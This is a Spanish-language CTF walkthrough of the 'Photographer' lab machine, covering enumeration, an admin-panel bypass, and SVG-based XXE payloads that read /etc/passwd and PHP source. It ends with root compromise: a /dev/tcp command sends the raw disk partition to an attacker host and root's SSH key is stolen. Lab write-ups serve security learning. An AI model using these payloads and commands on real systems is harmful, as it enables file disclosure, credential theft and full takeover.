Write-ups

Resolución del CTF: Photographer


Enumeración

Escaneo de puertos

Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.

nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.110
  • -p- : Escaneo de todos los puertos. (65535)
  • -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
  • -sC : Escaneo con scripts básicos de reconocimiento.
  • -sV : Detección de servicios.
  • –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
  • -n : Sin resolución DNS.
  • -Pn : Sin descubrimiento por ping.

Identificamos los servicios SSH (22/tcp) y HTTP (80/tcp). El servicio web expone un blog con referencias a un usuario potencial: ethan.

Reconocimiento Web

Enumeramos rutas del servidor web para identificar funcionalidades ocultas.

gobuster dir -u http://192.168.0.110/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php

Localizamos el directorio /admin, que expone un panel de autenticación. Repetimos la enumeración dentro de este directorio.

gobuster dir -u http://192.168.0.110/admin/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php

Destaca admin.php, que responde con una redirección y un tamaño anómalo, indicando contenido accesible en la respuesta.

Explotación

Interceptamos la petición a /admin/admin.php y forzamos la visualización del contenido modificando el código de respuesta HTTP a 200 OK. Esto nos da acceso a un panel de subida de imágenes.

El formulario acepta imágenes SVG, lo que permite explotar una vulnerabilidad XXE al tratarse de XML procesado por el servidor.

<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1"><text x="0" y="16">&xxe;</text></svg>

Subimos el archivo con Content-Type: image/svg+xml y confirmamos la lectura de /etc/passwd, validando la existencia del usuario ethan.

Utilizamos el mismo vector XXE junto con el wrapper de PHP para leer código fuente de archivos internos.

<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" > ]> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" version="1.1"><text x="0" y="16">&xxe;</text></svg>

Decodificamos el contenido Base64 obtenido y extraemos credenciales reutilizadas para el acceso SSH del usuario ethan.

Acceso inicial

ssh [email protected]

Obtenemos acceso interactivo al sistema como el usuario ethan.

Escalada de privilegios

Comprobamos los grupos del usuario y confirmamos pertenencia al grupo disk, lo que permite acceso directo a dispositivos de bloque.

id

Identificamos la partición raíz del sistema.

df -h

La raíz se encuentra en /dev/sda1. Exfiltramos el contenido completo de la partición hacia nuestra máquina para su análisis offline.

cat /dev/sda1 > /dev/tcp/192.168.0.100/100

Montamos la imagen de la partición en nuestra máquina y accedemos al sistema de archivos con privilegios de root.

mount data photo

Extraemos la clave privada SSH del usuario root desde el sistema montado.

cp photo/root/.ssh/id_rsa .

Utilizamos la clave obtenida para autenticarnos como root en el sistema objetivo.

ssh -i id_rsa [email protected]

Compromiso completo del sistema.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *